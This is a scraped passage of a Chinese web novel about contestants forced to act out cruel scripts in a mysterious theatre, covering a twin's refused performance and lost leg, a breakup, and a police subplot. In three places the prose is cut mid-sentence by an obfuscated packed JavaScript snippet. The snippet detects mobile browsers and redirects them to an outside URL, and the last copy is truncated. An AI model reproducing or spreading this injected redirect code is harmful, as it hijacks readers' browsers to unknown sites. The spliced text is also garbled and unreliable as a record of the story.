但门都开了,再往外走也不太合适。因此两人还是走到客厅。没等舒觉说什么,曲语冰先向他们投来目光,他笑笑,摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470931|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了摸洛珠的头发后松开对方,语气自然:“你们回来了。” 舒觉点了下头。她有点不知道要说什么,安慰人不是她的长项。祝时明反而几步走到洛珠跟前,小声和她说起话,她听不见是什么,但从他表情与姿态也能猜出是鼓励的话语。 曲语冰看他一眼,笑着说:“小明比我会说话多了。” “嗯?”他语速有点快,舒觉没看太清楚。 就在曲语冰要再重复一遍时,楼梯上出现一道身影。两人同时抬眼望去,是一张清稚的面容。 双胞胎里的弟弟,邹玉衡走下来。他目光慢慢在他们每个人身上扫了一圈,最后定格在仍然满面泪痕的洛珠那里。 他慢慢走来,温吞地问道:“她怎么了?” “第一次拿刀捅别人,被吓到了。”舒觉一句话总结。 曲语冰看她一眼,说:“被逼着做这种事,谁都不会好受。” 邹玉衡“哦”了一声。他也到洛珠身前,随后,单膝跪了下去。 他看着女孩的眼睛,认真地说:“不用害怕。你没有伤害过任何人。也没有人伤害你。” “那都是假的。”他说,“只是演戏而已。那里发生的任何事,都不会成真。” “你没有伤害过任何人。”他又重复,“你不会有事的。” 洛珠愣愣地看着他。祝时明侧立一旁,眼睫轻轻颤动,底下的金棕色旋转着模糊的轮涡。邹玉衡仰头望着她,自下而上的姿态,如同虔诚地立誓。 放在中世纪油画里,那想必会是公主、骑士与无名氏。舒觉漫无目的联想,随意一瞥,却发现曲语冰异常的神情。他看着那处,唇角毫无笑意,几乎能算作严肃。 她不禁点了下他肩侧。曲语冰立时转目,遇上她眼神又恢复成平时散漫模样,他说:“真动人,是不是?” 一时之间,舒觉并不清楚该赞同还是否定。最终她含糊地说:“也许吧。” 那厢安慰完了,邹玉衡站起身,像什么都没发生一样,轻盈离去了。洛珠突然不好意思起来,她说想一个人待一会儿,便匆匆上楼回房间了。祝时明坐到沙发上,看起来有些忧虑和疲倦。 半晌,他说:“已经开始出现这种剧情了。” 舒觉这才意识到,这将是一个重要的标志:之后的演绎里,想必也会出现不少这样伤害他人、伤害自己、违反人性的内容。 她并不太担心。上一轮他们也是这样过来的,无非就是要大家逐渐崩溃罢了。在最后关头到来之前找到出去的办法就好了。 不过,话说回来,这次这类剧情出现的时间,比他们那时候晚了很多啊。不知道这是随机的,还是背后有什么原因。 这个念头在她心中一闪而过。曲语冰说:“不过,至少演绎回来所有伤害都会还原。不然几条命也不够我们演的。” 他意在开个玩笑缓和氛围,但祝时明表情更黯淡了几分。舒觉拐了他一肘,曲语冰嗷了一声,但除此之外不敢有更多的抱怨。 舒觉说:“好了,至少,这次没有人被惩罚。” 这的确是件幸运的事。如果没有曲语冰的临场发挥,洛珠或者他恐怕就要丢掉身上某个部件了。 “是啊,应该不会这么快就有不得不拒演的剧目。”曲语冰难得宽慰起他人,他们都以为祝时明是对之后的演绎产生了过于悲观的看法。 他话音刚落,所有人手环震动起来,一个界面弹出,上面赫然显示新一场演绎的开始。 这么快?而且,也太密集了。一般同一天内不会有超过两场演绎。舒觉有不好的预感,她不自觉拧起眉,点开详细部分。 【剧目:破声】 【演员:邹摇光、邹玉衡】 20. 第 20 章 拉上窗帘的教室,午后的阳光还倔强地透过缝隙闯进,黑板上是没擦干净粉笔灰,隐约透出曾经书写上的字迹:Bitch(贱人)。 前缀的名字是一块未干的水渍,无法看清。但它的主人清晰可知。邹摇光躺倒在地上,头发与校服沾满干硬的泥块,她眼神死寂,除了微微起伏的胸口,你难以确认她是个活人。 她刚刚被邹玉衡推进施工泥地里,当她要挣扎着爬出来时又会被踹回去,直到对方玩够了,才拽着她的头发把她拉上来,又推进这间教室,要对她实行最后的惩罚。 她没做错过什么。只不过,在一所校园里,被欺凌是不需要理由的。也许是她听的歌和别人不同,也许是她偶然梳了个特别的发型,也许是她受到老师特别的喜爱,总之,她被挑中了,成为所有人施虐取乐的对象。 这其中,最残忍的那个人,由她的弟弟邹玉衡饰演。 少年和她穿着相同的校服,只不过他的一尘不染。邹玉衡整理着桌上的什么东西,努力压制住语气里的恐惧与绝望:“好了,只要你受得住接下来这个,我就不针对你了,很划算吧?” 邹摇光不回答。她实在没力气,也需要扮演一个麻木的受害者。 而她的弟弟拿着什么东西,另一只手猛地掀开她校服上摆。女孩柔软温热的腹部全数袒露,邹摇光下意识伸手去拉,被邹玉衡拍开,她不得不躺回去,完成这屈辱的表演。 “我也是第一次用这种东西。所以,你最好乖一点。不然我也不知道刺歪了会怎么样。”邹玉衡念台词,听上去平板无调,他的眼睛快速眨动,面孔僵硬,隐隐显出绷紧到极致的内心。 镜头给他的手一个特写。大拇指与食指间捏着的,是一根细针。上面沾着红色墨水。其目的昭然若揭:他要在她小腹上刺下什么,在她完全清醒的情况下。 邹摇光闭上眼,像是已经放弃了一切。 然而,等了很久,除了肚皮上掠过的凉风,她都没有更多别的感受。 她睁眼,看到邹玉衡挣扎面容。在她没看见的地方,他的手几十次下探,又抬起,却始终没有在她露出的皮肤上留下任何一点其他颜色。 邹摇光忍不住,她飞速小声说:“你在干什么?快点啊!” 显然,她不想弟弟被惩罚。听到这声,邹玉衡神情一震,仿佛终于从一个噩梦中挣脱出来,他长长吁出一口气,注视着他姐姐的眼睛,露出一丝笑容。 邹摇光还没解读出其中意味,就看到他抬头,对某处必定一直在注视的存在说:“我拒绝继续演出。” 他声音平静,甚至带着释然。穷奇的声音响起:“你确定吗?我看你还能继续演的样子啊。” “确定。邹玉衡,拒绝继续演出剧目【破声】。”他说。 “你等——”邹摇光猛地弹起,她一把抓住对方小臂,想要阻止这场愚行。然而,一切都太晚了。 “要求受理。演员邹玉衡,拒绝演出,作为代价,给予惩罚。”毫无起伏的电子音宣读。在一个心跳的间隙后,它念道:“十秒后将剥夺左腿膝盖以下机能。” “十、九、八——” 在倒数的声音里,邹摇光使劲掐住他,带着哭腔问道:“你为什么要这么傻!我不在意的啊!你是我弟弟,我不可能会因为一个演戏就恨你的啊!” “正是因为你是我姐姐,所以我才更不能这么做。”邹玉衡声音轻轻,却无比坚定,“我绝对、永远不会说你是个婊子。更别说把这两个字刺在你的身体上。” 十秒倒计时结束。他原本跪在地上,在重归安静的那一刻,身体却不受控制地向一侧倒下。邹摇光要拉住他,但在下一个瞬间,两人一同从这间教室里消失了。 ***** 双胞胎一回到客厅中,便对上了其他人严肃的眼神。应如观急步走过来,命令道:“让我看看你的左腿。” 在姐姐焦急的目光下,邹玉衡慢慢拉起左边裤管。惨不忍睹的景象并没有出现。他的腿还是他的腿,目之所及毫无伤痕和瑕疵,匀称有力,脚腕处有一圈淡淡的晒痕。 然而,在应如观敲击膝盖后,他的腿毫无反应。邹玉衡垂着眼,轻声说:“没关系的。只是一条腿而已。” 这话听上去有种莫名的超脱,甚至显得冷漠和事不关己。但这分明是他的肢体,他的行走能力,就因为一场演戏,被残忍地剥夺了。 邹摇光抓住他肩膀,脸上全是泪痕,“你疯了吗!这可是你的腿啊!你以后都不能踢球、跑步、游泳,甚至连行走都会很难啊!” “只是演戏而已、只是演戏而已!我不在乎的啊!”她泣不成声,抓住他的手逐渐松开,“你为什么要……” 邹玉衡看着他的双胞胎姐姐,他坚定地伸出手,用力抱住她,声音像在哄小孩子:“没关系的。真的。我本来就不喜欢运动。” “而且,现在技术更新那么快,我记得有那种辅助支架,装上去就能正常走路了吧?那样就够了。”他温声说,“如果放任这出剧目演下去,还不知道后面会让我对你做出什么事。那时候才真的追悔莫及了。” 闻言,舒觉站在人群外围,心中闪过些惊讶。邹玉衡平时看着总是睡不醒的迷糊样子,这关头却思路清晰得很。 这种及时止损的做法不是一般人能立刻想到的。上一轮演绎中,他们也是经历了好几出剧目的试错,才意识到有些后续剧情真的不是谁都演得了的,还可能会拉别的演员下水一起受罚,不如在第一次自己觉得无法进行的时候终止,还可以剩下机会去演完其他剧目,得分能更高。 不过看邹玉衡的样子,应该只是临时想出来安慰他姐姐的。 舒觉无声叹了口气,又看向乔木。在背后,他的手攥成一个极紧的拳头,指甲深深掐进掌心,他看起来快要冲过去了。 曲语冰也注意到这点,他悄悄靠近过去,拍了拍乔木的拳头。舒觉看见他俩对视一眼,乔木的手放松了些,但面上仍是一片沉郁怒色。 邹摇光撑住邹玉衡,苏彦在另一边扶住他们,邹玉衡适应着失去一条腿的感受,慢慢往前走了几步,从地板移动到沙发上。 “这到底是什么原理?”应如观罕见地语气困惑,“外观和检查根本查不出是什么地方受损,就刚刚那么短的时间,他们到底做了什么手脚能让他的腿就这样……?” 他没说完整。祝时明突兀地开口:“我猜,是他的神经被阻断了。” 众人视线汇聚在他身上。祝时明略微不自在地缩了下肩膀,但他很快站直,语气肯定:“没有外伤,他也没有觉得疼痛,腿部运动能力丧失,表现症状很像神经损伤所导致。” “你是说在刚刚那一小段时间里,有人让他的腿部神经损伤,还没造成任何外伤?”应如观说,“这在操作上没有可能。” “在我们已知的技术里。”祝时明划出范围,“但自从我们来到这里,有哪一件事符合认知?” 他一针见血。不论是随时让人身处另一空间的演绎舞台,还是点数兑换物品凭空出现的机制,没有一个是能用已知科学解释的东西。 上一轮他们忙着出去,而且演绎频率高得让每个人都筋疲力尽,无法思考多余的东西,这些疑点才没有被真正提出来,只是在闲聊间偶尔提及。毕竟,比起研究深网剧场的运作原理,还是赶在被强制退场之前逃出生天更实际。 “我倒是知道一种神经阻断剂,注射后可以让人暂时无法感知那部分肢体……但他的腿上也没有针孔。”应如观说着,视线在邹玉衡裸露的左腿上巡视。 “再观察几天吧。”苏彦安慰双胞胎,“说不定过几天就会恢复了。” 话虽如此,众人都知道希望实则渺茫。舒觉更是清楚这绝无可能。 她摸了摸手环,那里平滑无比,乍看与他人的并无区别,底下却暗藏装置,是那个语音转录文字的机器。 而在进来之前,她的手环里就已经装置了类似的机器。这正是深网剧场给她留下的刻痕。 “幕后,想要恢复被惩罚剥夺的器官机能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483534|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,要怎么做?” 姜满忽然出声,而舒觉的转录光幕上立刻呈现一段话:“八号响应,恢复被惩罚剥夺的器官机能只有一个方法,旧事重演之前拒演的剧目。” 这就是为什么他们宁愿选择丢掉身体的一部分出去,而不是在这个荒唐剧场里与自己无法对抗的恐惧死磕到底。 邹玉衡毫无犹豫地开口:“那就这样吧。不用担心我,我心甘情愿的。” 邹摇光没说话。看她皱眉咬唇的沉思姿态,能猜到她在想怎么劝说邹玉衡改变心意。 不过,这不是所有人聚集在客厅的全部原因。姜满拿出两张纸放在茶几上,双胞胎的视线落在其上。 她说:“刚刚其他人已经确认过了,这不是他们的东西。这是你们的吗?” 她的语气听不出异常。邹摇光扫了几眼,回答:“这是我和阿衡的。” 说完后,她皱了皱眉:“你们为什么会有我们初中填的志愿初步确认表?” 姜满没说话。邹摇光环视四周人们的脸,终于回过味来。这太讽刺,她禁不住笑出声来:“所以,这是线索?” “还是指向我们的。”邹玉衡补充说。他倒是仍然一派平静,“不过,上面画着星星,连起来就是北斗七星的形状,很容易就会想到我们吧。” “这是什么意思。你们在怀疑我们?”邹摇光提高了声音,质问他们。 她得到的却只是一片沉默。半晌,姜满慢慢讲道:“从规则来看,任何一个被线索指向的人都可能是编剧。” “或者说,和编剧有关。”祝时明说。他今天的发言远超平时。一般在众人讨论的时候,他倾听的时刻占多数,很少主动发表什么意见。 也许是因为,今天终于出现了,本轮第一个深网剧场的受害者。 “不过,我们也不是真的在怀疑你们!”苏彦见气氛越来越不对,连忙来圆场,“也只是有可能,对吧?” “我也觉得不是他们。”乔木在一边说,“毕竟邹玉衡才刚受惩罚就出现线索,这太刻意了,反而很像栽桩。而且,我觉得如果真是编剧,应该不会这么早就拒演。” 他在同情他们。舒觉脚尖轻轻点着地面,她并不意外。 乔木这番话合情合理,大家目光暂时从双胞胎身上移开。邹摇光见他们散开,便对弟弟说:“阿衡,我们走。” 她语气带着不自觉的强硬,邹玉衡乖乖被撑起身体,往楼梯那边步去。苏彦立刻伸手,“我来帮——” “不用!”邹摇光厉声喝道。苏彦被吓了一跳,他的手悬在半空,露出受伤夹杂困惑的表情。 邹摇光也意识到自己过激了,她放缓语气,说:“真的不用了。我们自己可以的。” 你们。我们。那么多的界限,那么清晰的划分。 舒觉已经能看到,横亘在每个人之间的那道裂缝,越发清晰了。 “也不一定是腿部神经受阻。”她忽然听到有人这样说。舒觉转头看去,祝时明在那里嘟囔。 “什么?”舒觉没听太明白,她对医学了解不多,不是祝时明和应如观这样的专业人士。 “如果是腿不能行动了,除了腿部神经,还可能是大脑神经被阻断。”祝时明解释道,“人体的行动主要是靠大脑调度,传达到各部位,再执行。” 也就是说,不是执行者出了问题,是指挥者出了问题。舒觉思索了一会,问他:“你觉得这个剧场有能力影响到我们的大脑吗?” 祝时明眼睛一亮,“我还以为你会直接觉得不可能。” “现实里我是没听说过什么技术可以这样影响大脑。但我不知道,不代表就不存在。”舒觉示意他继续。 “我也不知道。但从理论上来说,不排除这个可能。”祝时明说,“这也能解释为什么他的腿上没有伤口。” 舒觉点点头,表示她会记得这个观点。祝时明望着她,露出一个小小的微笑。他看上去在期待着她。 但具体是在期待什么,她还不知道。 21. 第 21 章 “我们分手吧。” 坐在他对面的女生说。苏彦没有特别意外,他缓缓放下杯子,说:“我可以问一下为什么吗?” “简单来说,你变了。”秦白菁,他交往两年的女朋友——现在是前女友了——干脆地回答。 苏彦苦笑一声,没有反驳。这两年他们情感算得上稳定,尽管有过争吵,但最后都妥善解决了,现在算是平淡期。 秦白菁不是追求刺激或冲动行事的人,她会向自己提出分手,就证明她一定深思熟虑过。 她的眼底带着淡淡的青黑。苏彦再清楚不过,她为自己付出了多少心血。 残忍的是,她不是正确的那个人。 “你也知道,我家里出了些事。”在外头,他不想说得太明白。 秦白菁理解地点点头,“但你自己也清楚吧。” 她说:“你以前不是这样的。” 苏彦听出了她未尽的话。 你为什么变成这样了? 他也觉得自己出了问题。症结却无从寻找。 因为,一切都是这样正常。他的生活和往常没有不同,大学四年,都是这么过来的。 ……有什么不同? 他不知道。只觉得某一天开始,心脏像被掏出了一个洞,世间的所有事物都像一股狂啸的风,从中间贯穿而去。他觉得冷,觉得空洞,即使是走在阳光下,也忍不住颤抖。 他行走在人海中间,却感到无比孤独。 那种遗失什么的感觉那么深、那么重,仿佛从他身体上生生剜走一块,不、是一半,他却想不出那是什么,又被落在了什么地方。 他不打算告诉她自己已经去过了心理咨询室。心理咨询师告诉他,他有轻度抑郁的倾向,建议尽早治疗。 秦白菁收好小包,起身要离开,苏彦叫住她:“谢谢。”他是指对方主动提出分手这件事。 以现阶段他的状态,她再如何陪伴他也是无用。他的心结不是因为她。他甚至都不知道这个心结是什么。 她摇摇头,“没什么。” “你总是比我勇敢。”苏彦说。 他是真心的。 “对了,你什么时候喜欢上吃糖了?” 秦白菁指指他敞开的背包。苏彦看去,那里是一包拆开的橘子味软糖。 ***** 【剧目:这门亲事我不同意!】 【演员甲:乔木】 【演员乙:洛珠】 【演员丙:苏彦】 苏彦和乔木站在一条洒满阳光的街道上。 “你专门喊我出来干吗?”乔木问。 “打扰你和女朋友约会真不好意思啊。”苏彦翻了个白眼。镜头转开,能看到洛珠在一家面包店里的背影。 他说:“不过,姑且,我还是得说一句,我可是令令的亲哥。” “那又怎样?”乔木回答得很强硬,“我们谈恋爱不需要你的许可。” “不是,我去,”苏彦说,“你小子能别口气这么冲吗?我说不定是你未来大舅哥,对我尊敬点行不行?” 乔木没说话,但视线挑剔地在苏彦身上打量数圈,直到把苏彦看到毛骨悚然。他不自在地摸摸身上,“你干吗?不会是对我也有兴趣了吧?” “那你可太看得起自己了。”乔木讥诮道。 “嘿,你说话注意点!”苏彦叫道。随后他双手插兜,尽力姿态放得随意,但语调还是有点不自然:“那个,我就是想说,我不反对你们在一起了。” 这一次,乔木没有再反驳他。他站在那里,静静地等待他接下来的话。 阳光渡在他的睫毛上,他深红的中长发在日光下,犹如静静燃烧的森林大火。苏彦直视他,他深吸一口气。 “虽然你长得像个女生,一点不爷们儿,感觉根本保护不了我妹妹,但我已经见过了,你能为她做什么。”他说,“否认这样的感情太可耻了。” “其实,留长发又怎么了?打扮中性又怎么了?喜欢化妆和粉红色又怎么了?那碍着谁了?”他的声音逐渐激昂起来,“你不应该被这些东西定义!” 乔木神色微动。苏彦没注意到,他只是说出了自己的心声。 “——你比我认识的任何人都更勇敢、更坚定,你就是你自己,不需要被两元性别的印象框住。”他向他伸出手,风鼓起他的衬衫,如同一面向海的帆,“虽然迟到了很久,但可以接受我的道歉吗?” 少顷,罕见地,乔木笑了。他的嘴角微微扬起,柔和了他的面容,苏彦这才意识到,他的确有着南方人清秀的骨相。 他握住了他的手。 “哥哥?你们在干什么呢?”洛珠恰巧从店里出来,她看着握手的两人,一脸疑惑。 但这疑惑很快被新奇的东西冲散了。她指向前面,叫喊道:“啊,那里是限量发售的本子!” 她用力拉两人手臂,脸上绽开绚烂的笑容,“快走啦!” 苏彦和乔木对视一眼。三个人共同笑起来,乔木牵住洛珠手腕,苏彦向前奔跑而去,他回头,在盛大的太阳下向他们招手。 ***** 演绎结束,三人落回客厅。电子声音在半空结算:“恭喜一号、五号、六号三位演员完成【这门亲事我不同意!】的完整剧目演出。现在为三位结算奖励。” 手环自动弹出光幕,上面只有本人可见的点数飞速滚动着,苏彦脱口而出:“好多!” “应该是完整演完一个剧目,最后一集的点数会翻倍给,还有额外的完成奖励。”乔木说,他看上去没有多喜出望外,但他这个人就是情感不太外显的类型,苏彦倒不觉得有什么奇怪。 洛珠难掩欣喜,“那如果能多演完几个剧目,我们说不定就有人可以达到出去的点数要求了!” 苏彦不认为会这么简单,不过为了不扫她兴,他并没有多说什么。毕竟双胞胎的前车之鉴在前,他虽然到深网剧场里没有多久,也看出大部分剧目都不怀好意。 他们这个剧目算很轻松的了。完全就是个青春校园恋爱喜剧。饶是如此,苏彦仍记得乔木与洛珠演亲密戏时的尴尬和僵硬,好几次演完之后洛珠都不敢正眼看乔木,往往得避开他到坐一起吃饭为止。 毕竟,洛珠的确像那种恋爱经验为零、甚至和男生接触经验都不多的女孩子。在一众人里头,她明显也比较愿意亲近舒觉、姜满和邹摇光,然后才是他、应如观和邹玉衡。 不过他也有看过洛珠和祝时明单独坐在客厅聊天。不过,他相信任何人都不会对祝时明生出戒备和不安,他总能让人感到一种有所归处的安心。 这就是那种“倾听型”人物吗?总觉得什么都可以和他说。苏彦思维发散,都没发现什么时候洛珠离开了客厅,回到自己房间了。 “这个剧目总算结束了。”他看过去,乔木脸上是细微的生无可恋。 苏彦说:“有这么讨厌吗?是因为洁癖——” “不是,洛珠不是不整洁的人。曲语冰那样的我才受不了。”乔木面无表情地吐出恶评,“我是觉得自己脏了。” 苏彦缓缓打出一个问号。乔木说:“我毕竟是有女朋友的人。我要对自己和她负责。” 言下之意就是怎么能和别的女性亲密接触呢。然而苏彦仔细回想,演绎里他们最亲昵的举止也就是到相拥的程度,但显然,乔木的底线比这高得多。 他莫名对此人产生了某种敬畏。苏彦说:“你是真的很喜欢她啊。” 乔木瞥他一眼,大概是觉得这是不言而喻的,并不答话。苏彦难得起了想要打听八卦的心,可能也是因为收获了很多点数心情放松了,他笑着说:“对了,你女朋友是很整洁有条理的人吧?” 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“哦,那还蛮少见的呢。”苏彦感慨,“这个牌子只在我老家那边有卖,味道也有点奇怪,说是橘子,但感觉还混了点薄荷还是什么的,很多人吃不惯。我以前也吃不惯。” 他是什么时候开始喜欢上吃这种糖果的? 刺激的清凉混合酸甜在口腔中爆开,带起一丝萦绕的愁绪,仿佛在怀念着什么。原本他并不喜欢。不过有个—— 记忆里一片空白。他抬起头,笑笑:“你要试一下吗?” 乔木谢绝了。“我吃过。还是有点太特别了。” 毕竟是他女朋友喜欢吃的,肯定也让他试过吧。 苏彦注意到他面前摆放的资料,为了转移话题,他问:“你还在看这个医学研究项目的报告书?” 乔木点了下头。“你是学计算机的,有了解过这个芯片吗?” 他指的是基本每个公民都有在后颈植入的健康监测芯片。苏彦记得有相关法律规定过,每个公民在三岁左右,去上幼儿园之前都需要植入芯片。不过,这并不是强制规定,只是国家鼓励大家这样做,时刻注意自己的身体健康什么的。 在他认识的人里面,还没有谁是没有植入这个芯片的。不过他也听说有些人从来没有植入过,理由是不喜欢有个程序一天到晚都在监视自己,也有人担心自己的身体数据会泄露。 总之,每个人都有自己的选择。他是觉得在手机上就能随时查看自己身体的大致情况挺方便的。不过也只是最基础的身体情况,和从前的运动手表和多功能体重秤差不多,更细致的检查还是得去医院做。 他回答乔木的问题:“这个确实是一个很重要的发明。不过,我们系也不会专门讲它。” 何止。甚至有点越发不受重视的味道——几十年前的教材里有专门介绍这个芯片,不过到现在基本只是提一句话的程度了。可能是因为太普及了,官方默认大家都知道,就不需要专门提起了。 他也是备考计算机相关历史才知道。乔木说:“它之前是用来攻克阿兹海默症的,这个你知道吗?” 苏彦惊异地摇头。乔木于是将祝时明给他讲过的内容给他再讲了一遍。 苏彦很是意外,难道这是医学系才会有的内容?他思考着,不经意说:“这个在极端情况下还可以用作定位,难道一开始的研究还兼顾了这一方面?” “哦,是指如果携带者突发意外状况需要医疗救助的话,可以靠这个定位到Ta,展开援救?”乔木猜测。 苏彦这才惊觉自己失言。他连忙打哈哈:“大概是吧。” 他可不敢说是用在警方刑侦里。如果真的碰到无法追踪有确定嫌疑人的紧急情况,警局可以向政府医疗管理部门申请权限,对该嫌疑人进行精确定位。他记得能把范围限制到十米以内。 这是内部机密,他可不能让无关人士知道。 22. 第 22 章 排练室内,最后一阵强音荡开,吉他扫弦犹如狂风掠境,随着架子鼓的鼓点逐渐减弱,清亮的男声高高飞扬,为这支曲子做了结尾。 一切归于安静。随后,贝斯手鼓了鼓掌,赞道:“不错,这么久没练,你的技术也没下降多少。” “那就是还有下降吧。”苏彦笑着回应,对这乍听阴阳怪气的说法不以为意。他们几个组乐队三年了,今年除了键盘手都毕业,今天后的校庆就是他们的告别演出。 他们合练得也差不多,最后只有贝斯手和他留了下来。他说:“不过,没想到你选了这首歌。” 他们的第一首原创曲。他写了词,贝斯手作曲,乐队一起合编。苏彦把拨片收好,说:“就当我是有点怀旧吧。毕竟是第一首歌。” “是啊,第一次登台的时候你还唱错了。”贝斯手揭他老底。苏彦哈哈笑了几声,摸摸鼻子,“这不已经不会了吗。大概吧。” 毕竟有时候连唱很多首,混了也不是全无可能。想到这里,他拿出放在吉他盒里的微粒CD,“我们再来听一遍吧。” 贝斯手哼了一声,但没反对。苏彦将指头大小的CD嵌入手环的播放插口,他在弹出的光幕上点击几下,播放开始了。 两个人坐在地上,静静聆听曾经的旋律。这里头的每一个字、每一个音符,他们都亲手演绎过无数次,浓缩了他们最青春的日子、最轻狂的梦想。 无论什么时候听都感慨万千啊。苏彦想着,贝斯手忽然戳戳他,有点疑惑地说:“这里怎么有和声?” 苏彦一愣。他仔细听。的确,在最后一段副歌里,在他自己的歌声之上,还有一层和声。 那道声音轻柔、朦胧,如同浮在云端吟唱,也像一阵清风拂过大地。那显然是个女声,她的声音和苏彦的完美融合在了一起,分明是不同的音调,却无比和谐地汇成一处。 这不全是混音混得好的效果。那个人的音色本就和他的适配。苏彦甚至有种感觉:他不会再找到比这更与他歌声相融的声音了。 “那是谁啊?”贝斯手问他。苏彦摇摇头,“不知道。我都不记得有这么段和声。” “我也记得没有啊。我们上传流媒的version有这个吗?”贝斯手说着,找出网络版本播放起来。 不知为何,苏彦心中有些忐忑,像小时候期待扭蛋结果,会不会是自己最喜欢的角色。那算不算期待,他不太清楚。 直到播放完毕,贝斯手简单说:“没有。” 苏彦叹出一声气,难掩失落。他隐隐感到,不应该是这样的。 “那为什么CD里会有?我们刻录的和上传网络的version应该是同样的啊。”贝斯手说,“还是说,你几年前背着我们找了个女声专门去录音室录了这一段?” 他又补充说:“我没指责你的意思。有和声那版听起来要更好听。我们当时没想到还挺可惜的。” 没想到吗?那这粒CD又是从何而来的版本? 他不可能是轻率地改动了他们的第一首歌。他们都很重视它,经常作为压轴曲来回应他们歌迷的安可。他当时一定是经过了慎重的考虑,才请了那个女孩子来录音,将她的声音融入这支歌曲。 她是谁?能够重要到让他把她的声音放入他创作的第一首歌里? 最终,苏彦摇摇头,说:“我不记得了。” ***** 为了把话题从芯片上移开,苏彦转而说:“不知道双胞胎怎么样了。” 自从两人被同时指认为“编剧”的怀疑对象后,苏彦就很少在客厅等公共空间见到他们了。他不清楚他们是否在躲着其他人——暂时还没有被线索缠身的其他人。 “应该没大问题。”乔木说,“我之前有送饭上去,他们接受了。我看他们状态还不错,应该渐渐恢复了。就是做弟弟的还是不愿意重演把自己的腿换回来。” “哦,还有,”他忽然想起这件事,“他们俩把房间合为一个了。” “嗯?还可以这样做吗?”苏彦不由问道。乔木答:“不知道。不过既然他们的房间已经合成一个了,那就是可以吧。” 说来他之前往走廊最尽头一瞥,也看见了“910”的门牌,还在想那是怎么回事。原来是这样。 不过,这么说乔木人还真好。他没避开嫌疑人,还尽自己的力量帮助了他们。苏彦心里是这么想,一抬头发现乔木露出微妙的一言难尽的表情。 呃,他好像把心声说出来了。不过苏彦也只尴尬了一秒,他立刻昂首挺胸,非常自然,“你本来就是个好人啊!” 这样和沿街派发好人卡似的,乔木脸色更诡异了,但他似乎不想继续和他拗下去,只是低头去看他找的资料了。 苏彦有点坐立难安,幸好,他很快被拯救了。 手环持续发出警报般的震动,苏彦看了眼弹出的光幕,说:“哦,轮到我去演戏了。” “嗯,祝你好运。”乔木仍未抬头,只是简单说这一句。 好运。或许在这里的他们所有人,都十分缺乏这种东西。苏彦身形一淡,从原地消失了。 ***** 【剧目:白日堂皇】 【演员甲:姜满】 【演员乙:苏彦】 “张队,你看下这段记录——”苏彦身着警服,快步走到姜满身侧,警用手环弹出一个共享光幕。 姜满调成四倍速看完。苏彦在一边解释:“徐青木自从进了出租屋后就没有再出来过,周围几个监控都没拍到任何身影进出。” “不过,在几个街道外拍到了一个男人。他去的方向是徐青木的出租屋,同样没拍到他出来的影像。从徐青木最后出现的时间到现在,只拍到了他一个非住户。” 他伸出手指,飞速滑动进度条,在某处停下,放大。那个瞬间,镜头里清楚地拍到一个身穿黑衣、鸭舌帽压得很低、带着黑色口罩的男子。他眉心的那点红痣,落在光幕上,犹如一滴血。 “查到他是谁了吗?”姜满手指无意识敲桌子,体现出她的烦躁。 苏彦点头,说:“是隔壁市直属警局的法医,叫高黎。” 姜满皱起眉。她重复一遍这个名字:“高黎?那个家里人在一场火灾里死完的那个?” 苏彦一愣,像被她这毫不客气的说法吓到,但他很快反应过来,低声回答:“是。” “查查他这几天的动向。一个隔壁市的家伙,又不是假期,来我们这儿做什么?”姜满把任务分配下去,苏彦颔首,快步离开。 姜满捏捏眉心,只觉得太阳穴跳得厉害。她本来和徐青木合作得好好的,对方答应她会老出租屋找找线索,看看能不能摸到那个死灰复燃的人口贩卖团伙的线索。 毕竟,她是组织得力干部的女儿,可能在曾经的家里找到什么。 尽管不能排除她也是那边的人的可能,但目前来看,和她合作是利益最大化的选择。 可她却忽略了——盯上她的不止她一个。 ***** 苏彦从演绎舞台回来,正好到了饭点。 他在里头扮演一个刚入职的小警员,是姜满饰演的警官“张春临”的下属,临时参与进舒觉饰演的“徐青木”的绑架案中。他没多少戏份,也很熟悉警局里这一套流程,并不怎么迷茫,因此也没消耗什么体力,不算很饿。 不过要是到点了不去吃,且不说会不会留饭给他,光是乔木那谴责的眼神和要尊重食物的说教就够让他准时准点到达饭桌边了。那可是曲语冰都不愿意挑战的绝对权威。 他走过去,其他人基本都到桌边了。只有祝时明不在,他还在演绎中没出来。 这还挺少见。毕竟分配给他的剧目并不多,目前似乎都是配角,苏彦很少见到他被演绎绊住脚步的时候。所有人里似乎只剩他还没演过主角了——啊,和舒觉一开始做示范的那场不算的话。 今天乔木又一次施展了他的高超厨艺,苏彦看到几个人坐在桌边,都有点被香味迷得三魂五道的神情。 只有曲语冰似乎不为所动——此人好像对吃东西从来没什么兴趣——他见到苏彦,笑着和他挥手打招呼:“嗨。” 苏彦挥挥手,舒觉和洛珠也注意到他,舒觉倒没什么异常表情,洛珠却一瞬间露出一点畏惧和惊吓的样子,苏彦不由困惑。 他是做错了什么吗?刚刚那场演绎里也没什么过激情节吧。苏彦没想到理由,洛珠也很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 